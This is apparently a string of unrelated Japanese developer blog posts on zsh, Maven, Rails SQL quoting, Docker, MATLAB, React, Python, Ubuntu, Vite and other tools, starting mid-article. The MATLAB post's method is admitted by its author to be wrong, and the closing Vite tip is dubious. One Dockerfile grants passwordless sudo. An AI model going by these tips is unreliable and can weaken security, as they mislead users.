・`setopt prompt_subst`： PROMPT変数内で変数展開が可能。今回だと`$vcs_info_msg_0_`が該当。
・`zstyle`： git情報が入る変数`$vcs_info_msg_0_`の format を指定。`%b`で current branch を表示できる。
・`precmd()`： プロンプト表示のたびに実行する関数。`vcs_info`を実行することでgitの最新情報を常に取得。

### prompt

こちらもほぼコピペ。

彩度低めの色が好きでして、色は256色で指定しました。
何となく時刻出ていた方が便利かと思い、`RPROMPT`を追加しています。


# 参考
* https://qiita.com/kumatira/items/41562f1d9001927e9888
* https://medium.com/@rukurx/zsh%E3%81%AEcompinit%E3%81%AB%E6%8C%87%E5%AE%9A%E3%81%97%E3%81%A6%E3%82%8Bautoload%E3%81%AE%E3%82%AA%E3%83%97%E3%82%B7%E3%83%A7%E3%83%B3-uz-%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-ad471efd84c3
* https://apple.stackexchange.com/questions/334247/bracketed-paste-mode-in-terminal-app
今後予想される「AI」「AGI」「ASI」という人工知能の進化・発展(オマケに「QAI」「QAGI」「QASI」)について簡単に解説してみた

#初めに～
今回は、AI(＝人工知能)の進化・発展段階ごとの概念・用語について簡単に解説してみました。。
恐らくは、今後、世の中の色んな場面で使われ始めると思います・・・(多分)。
良ければ、参考にしてみてください。
(ただし、ちょっとオフザケ要素も混じっています)。


#本文～
①「AI,Artificial-Intelligence」＝「人工知能」。
現在(＝記事執筆時点で)、世界中の大学や企業がシノギを削って、日夜、研究・開発している。
狭義では、特定の課題・問題・タスクの解決しかできない。※例：チェスや将棋、クイズなど。

②「AGI,,Artificial-General-Intelligence」＝「人工汎用知能」。
人間並みになんでもこなせる。
今後、登場が予想される。
恐らくは、特定の課題・問題・タスクを解決する各分野ごとのAIを寄せ集めたモノになると思われる。
したがって、「AGI」＝「「AIの集合体」となる。

③「ASI,Artificial-Super-Intelligence」＝「人工超知能」。
人間を超えるレヴェルでなんでもこなせる。
凡そ、人間に可能なことならば、人間以上のレヴェルであらゆる課題・問題・タスクを解決できる。
人間の知性・知能レヴェルを遥かに超えた存在。

更には、今後、AIと量子デヴァイスが結合・融合することが予想されます。
したがって、次に挙げる３つのタイプも出てくるかと思います。

④「QAI,Quantum-Artificial-Intelligence」＝「量子人工知能」。
従来、解決の難しかった「組合せ爆発」の絡む問題をも瞬時に解くことができる。
ただし、あくまでも個別タスクについてしか適用できない。

⑤「QAGI,Quauntum-Artificial-General-Intelligence」＝「量子人工汎用知能」。
人間並みになんでもこなせる上に「組合せ爆発」の絡む確率的問題をも瞬時に解くことができる。
(この辺りからマシンが夢を見始めるか・・・？)。

⑥「QASI,Quauntum-Artificial-Super-Intelligence」＝「量子人工超知能」。
人間の知性・知能レヴェルを遥かに超えた宇宙的存在・・・？(あるいは神サマ的存在・・・？)。
※カーツワイルが、このようなスピ＆オカルト系とも取れることを言っているようです・・・。
「組合せ爆発」の絡む確率的問題をも瞬時に解くことができる。
(この辺りからパラレルワールドを観測できるか・・・？)。


#終わりに～
以上が今後、AIにまつわるITやビジネスの世界で登場するかもしれない概念・用語でした。
また懲りずに記事を書いていきたいと思います。
それではまた。
EclipseのMavenプロジェクトで、Javaのバージョンを設定したい

EclipseのMavenプロジェクトを新規作成すると、Javaのバージョンが5になっています。これを任意のバージョンに設定するにはどうすればよいでしょうか?

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/48539341-0930-2eab-86ff-59f8906da4d2.png)

① pom.xmlのmaven.compiler.sourceとmaven.compiler.sourceを設定します (以下はJava17を指定する例)

```xml:pom.xml
<properties>
  <maven.compiler.target>17</maven.compiler.target>
  <maven.compiler.source>17</maven.compiler.source>
  <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
```

これだけだとEclipse側にpom.xmlの設定が反映されないので、反映するための作業が必要になります。

② パッケージエクスプローラ上にある、Javaのバージョンを設定したいプロジェクトを右クリック。Maven(M) > プロジェクトの更新(U)を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/6608c8ca-86c4-511d-15c8-23b11792cc62.png)

③ 対象のプロジェクトにチェックをつけて、OKボタンを押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/3f5e9d57-fb57-cb10-fc5f-4487a6ae88bb.png)

すると、Eclipse上のJavaのバージョンがpom.xmlに記載したものになっていることが確認できるはずです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/56e89cb6-5ea5-0454-1b65-f4d65216a0ca.png)

**環境情報**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/dc133c4b-649a-c5d0-51fb-5e431f66ad35.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/af0bbdfd-3d2f-0355-7f27-b8031ac0200f.png)
SQLインジェクションのエスケープ処理をRailsがどんな感じで実装しているか見に行った記録

## はじめに
こちらの記事ではSQLインジェクションが何かについては解説していませんので、詳しく知りたい方はRailsガイドをご覧下さい。

http://railman.net/railsguides/6.1/security.html#sql%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3

## 記事を書いた動機と概要
Railsガイドを読んでいて、SQLインジェクションについて読んでいると`Ruby on Railsには、特殊なSQL文字をフィルタが組み込まれており、「'」「"」「NULL」「改行」をエスケープします。` と書かれていたので、それってどこで、どうやって実装しているんだろう？と疑問に思って調べてみたので、その過程をつらつらと書いています。
はい、ほぼ独り言です。
下記は疑問に思った部分をRailsガイドから引用しています。

>7.2.4 対応策
Ruby on Railsには、特殊なSQL文字をフィルタが組み込まれており、「'」「"」「NULL」「改行」をエスケープします。Model.find(id)やModel.find_by_なんちゃら(かんちゃら)といったクエリでは自動的にこの対応策が適用されます。ただし、SQLフラグメント、特に条件フラグメント (where("..."))、connection.execute()またはModel.find_by_sql()メソッドについては手動でエスケープする必要があります。
>条件オプションに文字列を直接渡す代りに、以下のように配列を渡すことで、汚染された文字列をサニタイズすることもできます。
```ruby
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
```
疑問符「?」が含まれていますが、これはプレースホルダと呼ばれるもので、Railsに関わらず一般的な用語としてクエリやテキストなどにおいて、後から実際の値と置き換えられるシンボルや変数のことみたいです。RailsのActiveRecordにおいても`?`記号はプレースホルダとして使われているようで、プレースホルダを見つけたら、対応するパラメータ（この場合 entered_user_name と entered_password）を取得して、それぞれを安全にエスケープするぞ！ってなるようで、そのエスケープ処理がどこで記述されているか調べていきました。

## Railsのコードを見に行ってみる
まず、Railsのリポジトリhttps://github.com/rails/rails で該当のファイルに辿り着かねば、というところで「injection」とか調べる訳ですが、結論「SQL_injection」と検索するとそれらしきコードには辿り着けました。
こちらが、そのファイルです。

https://github.com/rails/rails/blob/main/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb

## エスケープ処理を読んでみる
下記の14行目あたりで与えられた値の型に応じてエスケープしてクォートしているように見えますね。

https://github.com/rails/rails/blob/main/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb#L14L15

```ruby:activerecord/lib/active_record/connection_adapters/abstract/quoting.rb

module ActiveRecord
  module ConnectionAdapters # :nodoc:
    # = Active Record Connection Adapters \Quoting
    module Quoting
      # Quotes the column value to help prevent
      # {SQL injection attacks}[https://en.wikipedia.org/wiki/SQL_injection].
      def quote(value)
        case value
        when String, Symbol, ActiveSupport::Multibyte::Chars
          "'#{quote_string(value.to_s)}'"
        when true       then quoted_true
        when false      then quoted_false
        when nil        then "NULL"
```

`quote_string`メソッドを呼んでいたので見に行くと、コメントにも書いてあるのですが、文字列中のバックスラッシュとシングルクォートをエスケープしているというのが分かりました。（ここ自分はChatGPTを使って解説してもらいました。）

https://github.com/rails/rails/blob/961fc42f90e880516e8ec28cacc88e2425c78110/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb#L86L90

```ruby:activerecord/lib/active_record/connection_adapters/abstract/quoting.rb

      # Quotes a string, escaping any ' (single quote) and \ (backslash)
      # characters.
      def quote_string(s)
        s.gsub("\\", '\&\&').gsub("'", "''") # ' (for ruby-mode)
      end
```

## 最後に
そんな感じで（どんな感じだよ）、Railsガイドに書いてあった`特殊なSQL文字をフィルタが組み込まれており、「'」「"」「NULL」「改行」をエスケープします。`の部分の処理がされているんだなということがフワッと分かったところで、本日はお開きにしたいと思います。
今回ちゃんとRailsのコードを見たのは恥ずかしながら初めてなのですが、コメントがしっかり書いてあって本当にありがたかったです。開発された方々、本当にありがとうございます。
laravelアプリ作成

前提条件
dockerで環境構築完了済み
iTerm2使用
________
### dockerの起動
dockerを起動していない場合以下のコマンドで起動する
```
docker-compose up -d
```
起動確認 全てupになっていれば起動完了
```
docker-compose ps
```
### アプリ作成
今回は、laravel-appを作成します。
まず、以下のコマンドでコンテナ内に入る
```
docker-compose exec app bash
```
以下のコマンドでアプリ作成
```
composer create-project --prefer-dist laravel/laravel laravel-app "6.*"
```
作成されると以下のような表示がされる。
![スクリーンショット 2023-10-08 17.41.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3492906/6ee134b8-c3a7-f81f-2bc2-2efbe28963c4.png)
ブラウザに以下を入力してアクセスする

```
localhost:8000
```
以下のように表示されればアプリの作成成功です
![スクリーンショット 2023-10-08 17.44.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3492906/2bfec319-7274-c041-aa39-8348eac83414.png)

_______

参考

https://www.torat.jp/laravel-docker-lemp/
【備忘録】Dockerコンテナ内でホストと同じユーザを使う

# 背景
Dockerコンテナ内ではデフォルトではrootユーザになる。そのため、コンテナ内に`/home/<user名>`以下のフォルダをマウントしてコンテナ内で例えは`result.png`や`result.txt`のようなファイルを生成するとそのファイルの所有者がrootとなり、コンテナ外からのファイルの閲覧や更新、削除にroot権限を求められることがある。

これが度々面倒臭いのでコンテナ内でもホストでの自分と同じユーザーで操作できるようにしたい。

# 解決方法
ユーザーはuser nameとuser idで識別されているため、コンテナに入った時のデフォルトユーザをホストの自分と同じuser name、user idにすれば良い。
例えは、user nameがhogehogeでuser idが501の時、これらは以下のように確認できる
```
$ whoami
hogehoge

$ id
uid=501(hogehoge) gid=1000(hogehoge) groups=1000(hogehoge)
```
通常のDockerfileに以下のように追記する。`${UID}`と`${USERNAME}`は適宜自分のものに置き換えるか、変数として定義する必要がある。
```
RUN adduser --disabled-password --gecos "" --uid ${UID} ${USERNAME}
RUN echo "${USERNAME} ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
USER ${USERNAME}
```

このコードの説明を簡潔に書きます。

1. `RUN adduser --disabled-password --gecos "" --uid ${UID} ${USERNAME}`
新しいユーザーをシステムに追加します。パスワードは設定しません。

2. `RUN echo "${USERNAME} ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers`
ユーザーにsudo権限を付与し、パスワード無しで任意のコマンドを実行できるようにします。
3. `USER ${USERNAME}`
これ以降のコマンドは、${USERNAME} として指定されたユーザーとして実行されます。


以上です。
Matlabでフィルタの通過特性を計算する

# Caution
この方法は¹次系のフィルタでは一致しましたが、2次系では会いませんでした。
間違った方法なので使わないでください。

# 目的
フィルタの通貨特性は理論式で追うのが理想だけど、Matlab上でRC回路ポチポチつないで計算できる方法も知りたく、調査した。その結果を忘備録として記します。

# 対象
今回は理論式もわかっている　一次のRCフィルタを対象とする。
理論式は（https://analogista.jp/transfer-function1/) を参考としました。

下図も上記サイトの引用です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/915299/1cbbe0b6-1220-d9cf-40ca-ae98cd02733d.png)

上記の回路で　R=1Ω, C =0.001F とすると　カットオフ周波数$f_c$は下式になります。

$f_c = \frac{1}{2\pi RC}=159.2 (Hz) $

このフィルタは１次のLowPassFilterなので、この159Hzで-3dB下がって、位相が45度回転する伝達特性が得られれば、やりたいことができている状態になります。

# 作成モデルの考え方
Vinは①の経路のインピーダンスZinで決まり、　Voutは②の経路のインピーダンスZoutで決まります。
なのでMatlab上でZinとZoutのインピーダンスを算出し、Zout/Zinを算出すれば　Vout/Vin すなわち通過特性が求まると考えます。（この考え方あってますかね？ちゃんと理論武装できず、保証できませんが・・・）



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/915299/5444c277-8c48-39c5-969a-477b65a31604.png)

# 実行コードとソフト
```matlab
%入力側インピーダンスZinと　出力側インピーダンスZoutを計算し
% Zout / Zin を伝達特性とする。

%% 理論式
R = 1;
C = 1e-3;
sys = tf([1],[R*C, 1]);

[mag,phase,wout] = bode(sys,Freq*2*pi); %入力はradian
mag = squeeze(mag);
phase = squeeze(phase);

Cutoff_Freq  = 1/(2*pi*R*C); %159Hz 

%% Matlabモデルからインピーダンス読み込み
Z_data = power_zmeter('NoiseFilter',logspace(0,5,10000)); %1Hz ー　10^5　Hzまで

%Zin 
Freq  = Z_data.Freq;
Gain_in = abs( Z_data.Z(:,1) );
Phase_in = angle( Z_data.Z(:,1) )/pi*180;

%Zout
Gain_out = abs( Z_data.Z(:,2) );
Phase_out = angle( Z_data.Z(:,2) )/pi*180;

%%　描画して比較
close all
figure()
subplot 211
semilogx(Freq,20*log10([Gain_out./Gain_in]),wout/2/pi, 20*log10(mag), ...
    [Cutoff_Freq Cutoff_Freq],[0 -60],... %カットオフ周波数
    [10 10000],[-3 -3]... % -3dBライン
    );

subplot 212
semilogx(Freq,Phase_out - Phase_in,wout/2/pi,phase,...
    [Cutoff_Freq Cutoff_Freq],[0 -90],... %カットオフ周波数
    [10 10000],[-45 -45]) % -3dBライン)
ylim([-90 90])

````
Simlinkでは、インピーダンスを計算するブロックがあり、それを入出力部につけることでZout,Zinを計算します。作成したSimulinkファイルの絵は以下です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/915299/af6346a4-0920-5b1c-6370-55e74d232198.png)

# 実行結果
上がゲイン特性　下が位相特性で、横軸は周波数(Hz)  縦軸はパワー(dB)と　位相(deg)です。
理論式とSimより算出した式が一致しているため、青いラインにオレンジ色が完全に一致しています。

また想定通り159Hz（黄色の縦ライン）の位置で　-3dB,  45degの位相遅れ（紫色の横線）が発生しています。想定通りのようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/915299/b3358c69-bcfb-aeed-5771-a0cbd9e4f7e9.png)


# おわりに
ここでは簡単な1次のフィルタについて考えましたが、回路が複雑になってくるとこの方式が
力を発揮すると思われます。誰かの役に立てば幸いです。
UE5でAPI経由でリアルタイムに合成音声を使うためにプラグインを作った (Koemotion)

## Koemotionを知っているだろか？
rinna公式より引用
>Koemotion（コエモーション）
Koemotion（コエモーション）は、AIによるテキスト読み上げ機能に、フェイスモーションの生成やシーンにあわせた感情選択・感情予測機能が加わった音声合成サービスです。

https://koemotion.rinna.co.jp

合成音声を提供するAPIなのだが(有料)、UEでおなじみの[VaRest Plugin](https://www.unrealengine.com/marketplace/ja/product/varest-plugin?sessionInvalidated=true)だとaudio dataはだめとか言われて上手くいかないので、わざわざ今までAWS Lambdaでただの文字列として整形して送っていた。けどめんどくさいからプラグイン作った。

## 注意
これは勝手に個人で作ってるものなのでrinna株式会社とは一切関係がありません。


## 必要な物
汎用性を考えて結果をそのままstringで返すことにした。リアルタイムにUE上で音声を再生するには以下のプラグインが必要です。

①VaRest

https://www.unrealengine.com/marketplace/ja/product/varest-plugin?sessionInvalidated=true

②Runtime Audio Importer

https://unrealengine.com/marketplace/ja/product/runtime-audio-importer

③ Json Blueprint Utilities 
これはデフォルトで入ってるのでプラグインから検索して有効化してください。

④KoemotionRequest_UE5(今回作ったやつ)

https://github.com/aoharudesu/KoemotionRequest_UE5

## BPを組むよ

コピペ用です。

https://blueprintue.com/blueprint/ju9fwtam/


![NewMap-EventGraph.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2953041/9d0ecf5b-cf02-705e-fd69-cc3ee377dde2.png)

各パラメーターはKoemotionのAPIリファレンスに準拠してるはずです。詳しくは公式を見てください。

https://developers.rinna.co.jp/api-details#api=koeiromap-v1&operation=koeiromap

## 最後に
これはあくまでローカルでAITuber等の配信を行うなどの配布しない形で使うことを推奨します。

:::note alert
APIkey等のローカル変数は簡単に抜かれます。バックエンドにちゃんと処理を移してください。
:::
【Xcode】特定のプロジェクトだけDerivedDataの場所を指定したい

# はじめに
PluginなどでDerivedDataの中にファイルを作成する機能があるライブラリなどがあります。
そのファイルを取得したくてパスを指定しても、DerivedDataのパスが設定によって変化してしまうのでプロジェクト単位でDerivedDataのパスを指定できないかXcodeを調べてたら見つけたので記録しておきます。

# やりかた
① 「File」を選択します
② 「Project Settings...」を選択します(もしくは「Workspace Settings...」)
![スクリーンショット 2023-10-08 16.58.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/a7439396-f9f1-adeb-4586-ce6209d9b9b6.png)

③ 「Custom Location」を選択します
![スクリーンショット 2023-10-08 17.03.02 1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/cbbcb0f3-e5de-9623-6fb0-d52252d5e4f9.png)

④ パスを指定します

# おわり
`~.xcsettings`というファイルができるのでこれをGit管理すれば設定を共有できそう？
[VSCode編] MACでPHPの環境構築

# 今回やること
MAMPを使わず、VSCodeだけででPHPを使うことができます。
但し、SQLを使う場合はMAMP必須です。

1. 拡張機能を入れる
1. VSCodeにPATHを通す
1. 動作確認

※. この記事を読む前に、MAMP編をご確認ください。
[[MAMP編] MACでPHPの環境構築](https://qiita.com/Rei_33/items/109e09d7bcfe1f821fd7)
<br>
<br>

導入するもの
* VSCode（既にインストールしていることを想定しています。）
  * PHP Server(拡張機能)
<br>





## 1. 拡張機能を入れる
拡張機能からPHP Serverを検索してインストールしてください。
※ 画像は無効にするになってますが、インストールと表示されているはずです。


<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3572782/fa3e7b1c-fb8e-4578-8d70-409f3e7a6234.png">
<br>
<br>



## 2. VSCodeにPATHを通す
設定からJSONを開きます。

<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3572782/9b6d92f9-7630-8e5a-9c16-2d6a21c74119.png">

<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3572782/fb007334-0b12-547c-4968-6dfa69e94d18.png">
<br>

開くとこのような画面になります。
色々記述されていますが、人によっては白紙かもしれません。
黄矢印の{}の中に、設定を書き込むようになっています。
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3572782/0cb5eca8-4e2e-84c7-6b61-a1738795e8a7.png">
<br>







では以下を書き込んで保存してください。
```json:settings.json
"php.validate.executablePath": "/Applications/MAMP/bin/php/php7.1.12/bin/php",
"php.validate.run": "onType",
```
PHPの実行ファイルまでのPATHを書いているだけです。
php7.1.12の部分は、自分で選んだバージョンによります。
php.validate.runは構文チェック用です。
<br>
<br>

__ここまで済んだら、VSCodeを再起動してください。__
<br>






## 3.動作確認
[[MAMP編]](https://qiita.com/Rei_33/items/109e09d7bcfe1f821fd7)で作成した「sample.php」をVSCodeで開きます。
画像の黄矢印 or 黄枠どちらかを押してください。

<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3572782/562698f8-c6b1-59e4-8518-5092add54729.png">
<br>

以下のようにHello World!1が表示されたら成功です。
うまくいかない場合、PCの再起動を試してみてください。
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3572782/763cc0cf-bfdb-809d-a40f-e83a16823deb.png">
【React】コンポーネントとは？Reactにおけるルール

https://ja.legacy.reactjs.org/docs/components-and-props.html

上記の記事を読んで、コンポーネントについて整理。

:::note
コンポーネントは任意の入力を受け取り（props）、画面上に表示すべきReact要素を返す。
概念的には、JavaScriptの関数に似ている。
:::

React要素についてはこちら

https://qiita.com/yusuke2310/items/c75caf8ff2b27a05394e



## 関数コンポーネントとクラスコンポーネント
### 関数コンポーネント
コンポーネントを定義する最もシンプルな方法はJavaScriptの関数を書くこと。(関数コンポーネント)
```react
function Welcome(props) {
    return <h1>Hello, {props.name}</h1>;
}
```
データの入ったpropsというオブジェクトを引数として受け取り、React要素を返すので、有効なReactコンポーネント。

### クラスコンポーネント
ES6クラスも使用できる。
```react
class Welcome extends React.Component {
    render() {
        return <h1>Hello, {this.props.name}</h1>;
    }
}
```
:::note
関数コンポーネントとクラスコンポーネントはReactの視点からは等価。
:::

## コンポーネントのレンダー
要素は、DOMのタグを表すReact要素以外にも、ユーザー定義のコンポーネントを表すこともできる。
```react
const element = <div />

const element = <Welcome name="Sara" />;
```

### props
Reactがユーザ定義のコンポーネントを見つけた時、JSXに書かれている属性と子要素を単一のオブジェクトとしてこのコンポーネントに渡す。このオブジェクトのことを`props`と呼ぶ。

```react
function Welcome(props) {
    return <h1>Hello, {props.name}</h1>;
}

const root = React.DOM.createRoot(document.getElementById('root'));
const element = <Welcome name="Sara" />;
root.render(element);
```
上記のコードで起きていること

1. <Welcome name="Sara" />という要素を引数として`root.render()`を呼び出す。
1. ReactはWelcomeコンポーネントを呼び出し、その時にpropsとして`{name: 'Sara'}`を渡す。
1. Welcomeコンポーネントは出力として`<h1>Hello, Sara</h1>`要素を返す。
1. React DOMは`<h1>Hello, Sara</h>`に一致するように、DOMを効率的に更新する。

:::note warn
**Reactの規約**
小文字で始まるコンポーネント👉DOMタグとして扱う
例： `<div />`　はHTMLのdivタグを表す

大文字で始まるコンポーネント👉コンポーネント
コンポーネント名は常に大文字で始める
:::

## コンポーネントを組み合わせる
:::note 
コンポーネントは自身の出力の中で、他のコンポーネントを参照できる
:::

```react
function Welcome(props) {
    return <h1>Hello,{props.name}</h1>
}

function App() {
    return (
        <div>
            <Welcome name="Sara" />
            <Welcome name="Brown" />
            <Welcome name="Edy" />
        </div>
    )
}
```

## コンポーネントの抽出
:::note
コンポーネントをより小さなコンポーネントに分割することは恐れない。
なおコンポーネント自身は、どこでレンダーされるのかは知る必要ない。
:::
コンポーネントの抽出をするタイミング
* UIの一部が複数回使われている場合
* UI自体が複雑である場合

コンポーネントの抽出は最初は面倒であるが、再利用できるコンポーネントをパレットとして持つことは、アプリケーションが大きくなれば努力に見合った利益を生み出す。

## Propsは読み取り専用
:::note
コンポーネントを関数で宣言するかクラスで宣言するかに関わらず、**自分自身のpropsを決して変更してはいけない**。
:::

以下のような関数は入力されたものを変更しようとせず、同じ入力に対し同じ結果を返すので**純粋**(pure)であると言われる。

```react
function sum(a, b) {
    return a + b;
}
```

対照的に以下の関数は入力されたものを変更するため純関数ではない。
```react
function withdraw(account, amount) {
    account.total -= amount;
}
```

:::note warn
全てのReactコンポーネントは、自己のpropsに対して純関数のように振る舞わねばならない。
:::
Embeddable Pythonの使い方

## Embeddable Pythonの使い方 概要
Emddable PythonはWindowsのPCであれば、Pythonの実行環境を丸ごと1つのフォルダで配布できるもの。何らかの事情でexe化して配布できない場合に便利。

## Embeddable Pythonの使い方 目次
1.ダウンロード
2.モジュール・ライブラリのインストール方法


## ダウンロード
以下のリンクからEmbeddable Pythonをダウンロードする。
Windows用の公式Pythonダウンロードサイト：https://www.python.org/downloads/windows/

ダウンロードサイト飛んだあと"Download Windows embeddable package (64-bit)"をクリックするとEmbeddable Pythonのzipファイルがダウンロードできる。
Windows用の公式Pythonダウンロードサイト画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3171994/f49c61be-70a4-29f5-482a-71462df55ca6.png)

ダウンロードしたzipファイルは好きな場所においていいが、説明を分かりやすく説明するためCドライブ直下にフォルダを作成してそこに配置、そこでzipファイルを展開。

今回はCドライブ直下にEmbeddable-Pythonという名前でフォルダを作成し、その中にダウンロードして展開したフォルダ(以降embedフォルダと言う)を配置。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3171994/4485f653-0703-ac7e-bd2c-61f1ebea8ac7.png)

## モジュール・ライブラリのインストール方法
Pythonでソフトウェアを作る際、基本的な標準モジュールだけで完結することは少ない。
ここでは外部からPythonのモジュール・ライブラリをインストールする方法を説明する。
embedフォルダにあるpython3○○._pthという名前のファイルを編集する。今回の例ではpython312._pthを編集する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3171994/a43bb064-4049-47f6-5ab2-ea661e3c3ceb.png)
今回はpython312._pthをメモ帳で編集する。vscodeなどのメモ帳以外のエディタを用いても良い。
#import siteとコメントアウトしてある文を#を消してコメントアウトから外す。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3171994/e1f5f35d-5364-b553-a792-f58fac4007ba.png)
次にpythonモジュール・ライブラリーをインストールするためのpipというツールをインストールする。
コマンドプロンプトでcdコマンドでembedフォルダまで移動し、下記コマンドを叩いてpipをgetしてくれるget-pip.pyをembedフォルダ上にダウンロードしよう。
```
curl -sSL https://bootstrap.pypa.io/get-pip.py -o get-pip.py
```
するとembedフォルダに新しくget-pip.pyが追加される。
次にget-pip.pyをembedフォルダ上にあるpython.exeで実行する。python.exeはいわゆるEmbeddable Pythonの実体。
コマンドプロンプトでcdでembedフォルダまで移動し、以下のように叩く。
```
[python.exeが存在しているパス]\python.exe get-pip.py
```
今回の例だと
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3171994/dfd4f483-6768-244c-de90-ab9981343216.png)
"Successfully installed pip-23.2.1 setuptools-68.2.2 wheel-0.41.2"と出力の最後にでれば、pipをインストールできている。
そうするとembedフォルダに新しくLibフォルダとScriptsフォルダが配置され、Scriptsフォルダを開くとpip.exeがあるのが確認できる。

今回は例としてpandasというライブラリをpipでインストールする。
```
[pip.exeが存在しているパス]\pip.exe install pandas
```
VSCodeでTypescriptを今すぐ実行、デバッグしたい時のメモ

プロジェクトの中で実行するのではなく、単に１つのファイルでTypescriptを書いて色々試したい時のための手順です。以下のリンクの通り、丁寧な公式ドキュメントもありますが、手っ取り早く動かしたい時用に書きました。

https://code.visualstudio.com/docs/typescript/typescript-tutorial

# 手順


typescript, ts-nodeがない場合インストール。
```
npm install -g typescript
npm install -g ts-node
```

launch.jsonに以下の設定を追加。
```
{
      "type": "node-terminal",
      "name": "Debug Typescript File",
      "request": "launch",
      "command": "ts-node -- ${fileBasenameNoExtension}",
      "cwd": "${fileDirname}"
},
```

後はVSCodeのDebugのタブから実行するとbreakpointで止まってくれるはずです。
Ubuntu 22.04でマルチディスプレイでの仮想デスクトップ(ワークスペース)の連動問題についての解決法


※注意：前置きが超長くなっています。下の目次の**４：解決法**から手順を見れます。
初投稿です。
# 目次

[1：前置き](#前置き)
[2：問題](#問題)
[3：環境](#環境)
[4：解決法](#解決法)
[5：おわりに（参考情報）](#おわりに)

# 前置き
　Ubuntu等のLinuxディストロをPCのメインOSとして使い始めた人も少なくないはず（ソース:私）
大体パソコンの使用に慣れてくると、「仮想デスクトップ」なるものも使い始めてくることはありませんでしょうか。呼び方にはまた、「ワークスペース」と呼ばれることもあります(特に海外で主流)が、本記事では以下前者を統一呼称とします。
ここで、その仮想デスクトップについてわからないという方のために大体の説明をWikip○diaからパクってくることにしました（）
>　仮想デスクトップは、コンピュータに接続された1つの物理的なディスプレイに対し、独立した複数の仮想的なデスクトップ環境、あるいはディスプレイの表示領域より広い連続したデスクトップ空間の提供を行う。ユーザは、ウィンドウまたはアプリケーションごとに、どの仮想デスクトップに表示するかを指定することができる。
　一般的な仮想デスクトップソフトウェアは、作業する仮想デスクトップを瞬時に切り替える機能やウィンドウを別なデスクトップに移動させる機能、デスクトップごとに外観をカスタマイズする機能などがある。特定のウィンドウをすべてのデスクトップに表示させることもできる。個々の仮想デスクトップは縦横に並んだものとして、上下、隣などの概念をもっている。仮想デスクトップ全体を縮小し、全体を俯瞰することができるウィンドウやモードがあり、ウィンドウの移動などを行うことができる。　―Wikipedia「仮想デスクトップ」
https://ja.wikipedia.org/wiki/%E4%BB%AE%E6%83%B3%E3%83%87%E3%82%B9%E3%82%AF%E3%83%88%E3%83%83%E3%83%97

要は、いくつもアプリを使いまくるときに、ウィンドウを表示するデスクトップを仮想的に拡張できる機能のことです。

自分はこれに関して、ある問題に遭遇することとなりました。
# 問題
　通常、Ubuntu(GNOME)において仮想デスクトップは`Ctrl + Alt +横矢印`で遷移できます。
しかし、大体インスコしたてのUbuntuでこれをやろうとすると、<font color="red">メインモニターに指定されているディスプレイしか操作が反映されません。</font>
一画面だけ変えて他画面を同じ状態で（資料を移しながら）作業するという使い方もあるかもしれませんが、Windowsで全画面諸共変えて使ってきた自分にとってはかなり不便でした。

# 環境
ハードウェア：HP Elitebook 830 G5 Notebook(Intel Core i7-8550u, DDR4 16GB RAM)
OS：Ubuntu 22.04.3 LTS x86_64
カーネル：6.2.0-34-generic
デスクトップ環境：GNOME 42.9
シェル：bash 5.1.16

# 解決法
```bash
gsettings set org.gnome.mutter workspaces-only-on-primary false
```

これをターミナルにぶち込んであげるだけ。処理が完了した瞬間から他ディスプレイも連動して動かせるようになります。

以前まではgnome-tweaksで設定を変更・反映することが可能だったらしいですが、後の
Ubuntu22.04でその仕様が廃止されたそうです。

# おわりに
最後まで当記事をお読みいただきありがとうございました。
初投稿の故、拙い点も数多くあるかもしれませんが、少しでも読者様のお力になれれば幸いです。
もし記事に誤りや問題点等がございましたら、お手数ですがコメント欄よりご指摘いただければ幸いです。


#### 参考情報
https://askubuntu.com/questions/1059479/dual-monitor-workspaces-in-ubuntu-18-04
laravel vite postCSS の構成でTailwindCSSが効いてないっぽいとき

お試しで↓をやってみるだけやってみて、

bef
```js:vite.config.js
...
export default defineConfig({
    server:
        ...
    plugins:
        ...
    css: {
        postcss: {
        },
      }
...
```



aft
```js:vite.config.js
...
export default defineConfig({
    server:
        ...
    plugins:
        ...
    css: {
        postCss: {
        },
      }
...
```

